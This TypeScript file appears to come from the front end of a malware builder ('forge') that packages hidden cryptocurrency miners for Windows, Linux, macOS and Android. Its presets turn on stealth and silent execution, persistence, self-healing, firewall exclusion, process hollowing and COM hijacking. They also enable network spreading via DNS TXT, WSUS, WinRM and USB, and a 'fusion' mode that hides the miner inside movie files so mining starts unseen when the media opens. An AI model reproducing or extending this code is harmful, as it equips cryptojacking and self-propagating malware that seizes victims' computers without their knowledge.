APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
293 lines
9.2 KiB
TypeScript
293 lines
9.2 KiB
TypeScript
import type { BuildRequest } from '../types';
|
|
|
|
/** UI deliverable — derived from forge flags, not sent to the API. */
|
|
export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion';
|
|
|
|
export interface InstallBaseOption {
|
|
value: string;
|
|
label: string;
|
|
hint?: string;
|
|
}
|
|
|
|
const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [
|
|
{ value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' },
|
|
{ value: 'appdata', label: 'Roaming App Data (%APPDATA%)' },
|
|
{ value: 'programdata', label: 'Program Data (%ProgramData%)' },
|
|
{ value: 'userprofile', label: 'User Profile (%USERPROFILE%)' },
|
|
{ value: 'temp', label: 'Temp Folder (%TEMP%)' },
|
|
{ value: 'custom', label: 'Custom path…' },
|
|
];
|
|
|
|
const UNIX_INSTALL_BASES: InstallBaseOption[] = [
|
|
{ value: 'xdg_data_home', label: 'XDG data (~/.local/share)' },
|
|
{ value: 'home', label: 'Home folder (~)' },
|
|
{ value: 'temp', label: 'Temp (/tmp or $TMPDIR)' },
|
|
{ value: 'custom', label: 'Custom path…' },
|
|
];
|
|
|
|
const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
|
{
|
|
value: 'localappdata',
|
|
label: 'Stealth cache location (auto per OS)',
|
|
hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support',
|
|
},
|
|
{ value: 'home', label: 'User home (all platforms)' },
|
|
{ value: 'temp', label: 'Temp folder (all platforms)' },
|
|
{ value: 'custom', label: 'Custom path…' },
|
|
];
|
|
|
|
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
|
if (form.apk_mode) return 'single';
|
|
if (form.spread_kit) return 'spread_kit';
|
|
if (form.fusion_enabled) return 'fusion';
|
|
return 'single';
|
|
}
|
|
|
|
export function deliverableSummary(type: ForgeDeliverable): string {
|
|
switch (type) {
|
|
case 'fusion':
|
|
return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.';
|
|
case 'spread_kit':
|
|
return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.';
|
|
default:
|
|
return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).';
|
|
}
|
|
}
|
|
|
|
/** Recommended toggles when Spread Kit is selected. */
|
|
export function spreadKitPreset(): Partial<BuildRequest> {
|
|
return {
|
|
spread_kit: true,
|
|
fusion_enabled: false,
|
|
target_os: 'universal',
|
|
target_arch: 'all',
|
|
run_as: 'scheduled',
|
|
persistence: true,
|
|
auto_start: true,
|
|
self_healing: true,
|
|
stealth_mode: true,
|
|
silent_mode: true,
|
|
file_logging: false,
|
|
firewall_exclusion: true,
|
|
display_mode: 'background',
|
|
mining_mode: 'idle',
|
|
process_hollowing: false,
|
|
hole_punch: false,
|
|
remote_aggressive: true,
|
|
auto_spread: false,
|
|
usb_spread: false,
|
|
share_spread: false,
|
|
winrm_spread: false,
|
|
dns_txt_spread: true,
|
|
webrtc_mesh_spread: false,
|
|
wsus_cache_peer_spread: true,
|
|
com_hijack_persist: false,
|
|
linux_lotl_mode: 'off',
|
|
};
|
|
}
|
|
|
|
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
|
|
const t = targetOs || 'windows';
|
|
if (t === 'android') return UNIX_INSTALL_BASES;
|
|
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
|
|
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
|
|
return WINDOWS_INSTALL_BASES;
|
|
}
|
|
|
|
function isWindowsOnlyTarget(targetOs?: string): boolean {
|
|
return !targetOs || targetOs === 'windows';
|
|
}
|
|
|
|
function isSingleUnixTarget(targetOs?: string): boolean {
|
|
return targetOs === 'linux' || targetOs === 'darwin';
|
|
}
|
|
|
|
function isAndroidTarget(targetOs?: string, apkMode?: boolean): boolean {
|
|
return !!apkMode || targetOs === 'android';
|
|
}
|
|
|
|
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
|
|
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
|
const next: BuildRequest = { ...form };
|
|
|
|
if (next.apk_mode) {
|
|
next.fusion_enabled = false;
|
|
next.spread_kit = false;
|
|
next.target_os = 'android';
|
|
next.target_arch = 'arm64';
|
|
next.mining_disabled = true;
|
|
next.gpu_enabled = false;
|
|
next.miner_execution = 'inprocess';
|
|
next.threads = 1;
|
|
next.thread_mode = 'fixed';
|
|
if (!next.apk_agent_name?.trim()) {
|
|
next.apk_agent_name = next.worker_name;
|
|
}
|
|
}
|
|
|
|
// Deliverable coupling — spread kit wins if both flags were somehow set
|
|
if (next.spread_kit) {
|
|
next.fusion_enabled = false;
|
|
next.target_os = 'universal';
|
|
next.target_arch = 'all';
|
|
} else if (next.fusion_enabled) {
|
|
next.spread_kit = false;
|
|
if (next.target_os === 'windows' || !next.target_os) {
|
|
next.target_os = 'universal';
|
|
}
|
|
next.display_mode = 'background';
|
|
next.silent_mode = true;
|
|
}
|
|
|
|
if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') {
|
|
next.target_os = 'windows';
|
|
next.spread_kit = false;
|
|
}
|
|
|
|
if (isAndroidTarget(next.target_os, next.apk_mode)) {
|
|
next.target_os = 'android';
|
|
next.target_arch = 'arm64';
|
|
next.fusion_enabled = false;
|
|
next.spread_kit = false;
|
|
}
|
|
|
|
// Architecture
|
|
if (isAndroidTarget(next.target_os, next.apk_mode)) {
|
|
next.target_arch = 'arm64';
|
|
} else if (isSingleUnixTarget(next.target_os)) {
|
|
if (!next.target_arch || next.target_arch === 'all') {
|
|
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
|
|
}
|
|
} else {
|
|
next.target_arch = 'all';
|
|
}
|
|
|
|
// Windows-only forge pipeline
|
|
if (!isWindowsOnlyTarget(next.target_os)) {
|
|
next.sign_build = false;
|
|
if (next.target_os !== 'universal') {
|
|
next.obfuscate = false;
|
|
}
|
|
}
|
|
|
|
// Process hollowing — Windows workers only
|
|
if (isSingleUnixTarget(next.target_os)) {
|
|
next.process_hollowing = false;
|
|
next.winrm_spread = false;
|
|
next.dns_txt_spread = false;
|
|
next.webrtc_mesh_spread = false;
|
|
next.wsus_cache_peer_spread = false;
|
|
next.com_hijack_persist = false;
|
|
}
|
|
|
|
// Linux LOTL persistence — Linux/universal workers only
|
|
if (isWindowsOnlyTarget(next.target_os)) {
|
|
next.linux_lotl_mode = 'off';
|
|
} else if (!next.linux_lotl_mode) {
|
|
next.linux_lotl_mode = 'off';
|
|
}
|
|
|
|
// Install base matches target OS family
|
|
const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']);
|
|
const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']);
|
|
if (isSingleUnixTarget(next.target_os)) {
|
|
if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') {
|
|
next.install_base = 'xdg_data_home';
|
|
}
|
|
} else if (isWindowsOnlyTarget(next.target_os)) {
|
|
if (next.install_base === 'xdg_data_home') {
|
|
next.install_base = 'localappdata';
|
|
}
|
|
}
|
|
|
|
if (next.install_base !== 'custom') {
|
|
next.install_custom_base = '';
|
|
}
|
|
|
|
// Stealth / display
|
|
if (next.stealth_mode) {
|
|
next.file_logging = false;
|
|
if (next.display_mode === 'visible') {
|
|
next.display_mode = 'background';
|
|
}
|
|
next.silent_mode = true;
|
|
}
|
|
|
|
// Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match)
|
|
if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20;
|
|
if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5;
|
|
if (!next.schedule_start) next.schedule_start = '21:00';
|
|
if (!next.schedule_end) next.schedule_end = '06:00';
|
|
|
|
// Thread mode
|
|
if (next.thread_mode === 'percent') {
|
|
if (next.thread_percent < 1 || next.thread_percent > 100) {
|
|
next.thread_percent = 75;
|
|
}
|
|
} else if (next.threads < 1) {
|
|
next.threads = 4;
|
|
}
|
|
|
|
// Run-as forces persistence
|
|
if (next.run_as === 'scheduled' || next.run_as === 'service' || next.run_as === 'bits' || next.run_as === 'host_binary') {
|
|
next.persistence = true;
|
|
next.auto_start = true;
|
|
}
|
|
if (next.run_as === 'host_binary' && !next.host_binary_target?.trim()) {
|
|
next.host_binary_target = 'ssh';
|
|
}
|
|
|
|
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
|
|
if (!next.ai_enabled) {
|
|
next.ai_ollama_endpoint = 'http://localhost:11434';
|
|
next.ai_model = 'llama3.2';
|
|
} else {
|
|
if (!next.ai_ollama_endpoint?.trim()) {
|
|
next.ai_ollama_endpoint = 'http://localhost:11434';
|
|
}
|
|
if (!next.ai_model?.trim()) {
|
|
next.ai_model = 'llama3.2';
|
|
}
|
|
}
|
|
|
|
// Fusion-only fields
|
|
if (!next.fusion_enabled) {
|
|
next.fusion_media_base_name = '';
|
|
next.fusion_export_subdir = '';
|
|
if (next.fusion_payload_kind === 'video') {
|
|
next.fusion_payload_kind = 'exe';
|
|
}
|
|
}
|
|
|
|
return next;
|
|
}
|
|
|
|
/** Apply a deliverable preset — call from UI when user picks build type. */
|
|
export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest {
|
|
const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false };
|
|
|
|
switch (type) {
|
|
case 'fusion':
|
|
return normalizeForgeForm({
|
|
...base,
|
|
fusion_enabled: true,
|
|
target_os: 'universal',
|
|
target_arch: 'all',
|
|
display_mode: 'background',
|
|
silent_mode: true,
|
|
fusion_media_mode: base.fusion_media_mode || 'paired',
|
|
fusion_payload_kind: base.fusion_payload_kind || 'exe',
|
|
});
|
|
case 'spread_kit':
|
|
return normalizeForgeForm({
|
|
...base,
|
|
...spreadKitPreset(),
|
|
});
|
|
default:
|
|
return normalizeForgeForm({
|
|
...base,
|
|
target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows',
|
|
});
|
|
}
|
|
}
|